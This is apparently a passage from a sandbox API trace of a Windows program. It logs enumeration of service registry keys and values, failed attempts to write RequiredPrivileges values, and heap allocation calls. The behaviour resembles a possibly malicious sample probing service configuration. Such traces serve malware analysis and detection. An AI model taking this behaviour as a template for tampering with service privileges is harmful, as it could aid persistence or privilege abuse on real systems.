lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0223.848] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0223.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0223.848] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1850, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0223.848] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.848] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0223.848] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0223.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0223.848] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1a48, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0223.848] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.848] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0223.848] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0223.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0223.848] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1850, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0223.848] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.848] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0223.848] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0223.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0223.848] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1a48, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0223.849] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.849] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0223.849] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0223.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0223.849] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1850, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0223.849] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.849] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0223.849] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0223.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0223.849] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1a48, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0223.849] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.849] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0223.849] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0223.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.849] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0223.849] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.849] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0223.849] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0223.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0223.849] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0223.849] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.850] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.850] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0223.850] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d578 [0223.850] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.850] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.850] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d598 [0223.850] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0223.850] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.850] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4f8 [0223.850] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.850] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.850] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d328 [0223.850] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0223.850] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.851] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0223.851] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.851] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0223.851] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0223.851] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.851] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0223.851] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0223.851] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.851] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4d8 [0223.851] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0223.851] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.851] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0223.851] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.851] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d398 [0223.851] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0223.851] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.851] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0223.851] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0223.851] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.851] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d318 [0223.851] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0223.851] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.851] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0223.851] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.851] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d308 [0223.851] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.852] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.852] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d368 [0223.852] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0223.852] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0223.852] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0223.852] RegSetValueExA (hKey=0x0, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048, cbData=0x195) returned 0x6 [0223.852] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0223.852] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0223.852] RegSetValueExA (hKey=0x0, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x1, lpData=0x21f1928, cbData=0x1) returned 0x6 [0223.852] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0223.852] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.852] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0223.852] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0223.852] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0223.852] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.852] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0223.852] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0223.852] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.852] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5b8 [0223.852] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0223.852] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.852] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0223.852] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0223.852] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.852] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0223.852] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.852] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d468 [0223.853] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0223.853] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.853] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0223.853] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0223.853] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.853] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4a8 [0223.853] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0223.853] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.853] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0223.853] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.853] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0223.853] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0223.853] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.853] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d378 [0223.853] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0223.853] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.853] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4b8 [0223.853] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0223.853] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.853] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0223.853] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.853] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0223.853] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4220 [0223.853] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.853] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d588 [0223.853] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0223.853] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0223.854] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0223.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0223.854] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0223.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0223.854] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0223.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0223.854] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0223.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0223.854] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0223.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0223.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d498) returned 1 [0223.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0223.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2f8) returned 1 [0223.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3ec0) returned 1 [0223.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5b8) returned 1 [0223.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f08) returned 1 [0223.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d518) returned 1 [0223.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f50) returned 1 [0223.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5a8) returned 1 [0223.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f98) returned 1 [0223.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d468) returned 1 [0223.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3fe0) returned 1 [0223.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3d8) returned 1 [0223.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4028) returned 1 [0223.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4a8) returned 1 [0223.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4070) returned 1 [0223.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d568) returned 1 [0223.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f40b8) returned 1 [0223.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d508) returned 1 [0223.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4100) returned 1 [0223.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d378) returned 1 [0223.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4148) returned 1 [0223.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4b8) 